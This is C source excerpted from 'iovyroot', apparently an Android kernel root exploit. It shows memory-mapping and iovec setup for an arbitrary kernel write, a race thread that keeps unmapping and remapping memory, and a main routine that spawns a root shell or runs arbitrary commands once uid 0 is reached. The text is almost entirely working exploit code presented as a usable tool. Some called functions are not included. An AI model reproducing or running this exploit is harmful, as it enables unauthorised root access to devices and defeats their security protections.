static int initmappings() { unsigned int i; printf("[+] Allocating memory\n"); for(i = 0; i < IOVECS; i++) { int* addr = MMAP_BASE(i); if(mmap(addr, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) { perror("mmap()"); return 1; } memset(addr, 0, MMAP_SIZE); iovs[i].iov_base = addr; //total should be more than one pipe buf len (4096 bytes) iovs[i].iov_len = 32; } //how many bytes we can arbitrary write iovs[0].iov_len = sizeof(long) * 2; //make a total of 2 pipe bufs (8192 bytes) iovs[1].iov_len = ((8192 - iovs[0].iov_len) - (((IOVECS / 2) - 1) * 32)); return 0; }
static inline void init_mmap() { int i; for (i = 0; i < NR_MMAPS; i++) { mmap_info[i].base = MMAP_BASE(i); mmap_info[i].len = MMAP_SIZE; mmap_info[i].vaddr = mmap( (void *)mmap_info[i].base, mmap_info[i].len, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0 ); if (mmap_info[i].vaddr == (void *)-1) { perror("mmap failed"); exit(1); } mmap_iov[i].iov_base = mmap_info[i].vaddr; switch(i) { case 0: mmap_iov[i].iov_len = 0; break; case 1: mmap_iov[i].iov_len = 32; break; default: mmap_iov[i].iov_len = 8; } } return; }
int main(int argc, char* argv[]) { unsigned int i; int ret = 1; struct offsets* o; printf("iovyroot by zxz0O0\n"); printf("poc by idler1984\n\n"); if(!(o = get_offsets())) return 1; if(setfdlimit()) return 1; if(setprocesspriority()) return 1; if(getpipes()) return 1; if(initmappings()) return 1; ret = getroot(o); //let the threads end sleep(1); close(pipefd[0]); close(pipefd[1]); for(i = 0; i < IOVECS; i++) munmap(MMAP_BASE(i), MMAP_SIZE); if(getuid() == 0) { printf("got root lmao\n"); if(argc <= 1) system("USER=root /system/bin/sh"); else { char cmd[128] = { 0 }; for(i = 1; i < (unsigned int)argc; i++) { if(strlen(cmd) + strlen(argv[i]) > 126) break; strcat(cmd, argv[i]); strcat(cmd, " "); } system(cmd); } } return ret; }
static void* mapunmap(void* param) { void* addr = MMAP_BASE(1); (void)param; /* UNUSED */ while(!kill_switch) { munmap(addr, MMAP_SIZE); if(mmap(addr, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) { perror("mmap() thread"); exit(2); } usleep(50); } pthread_exit(NULL); }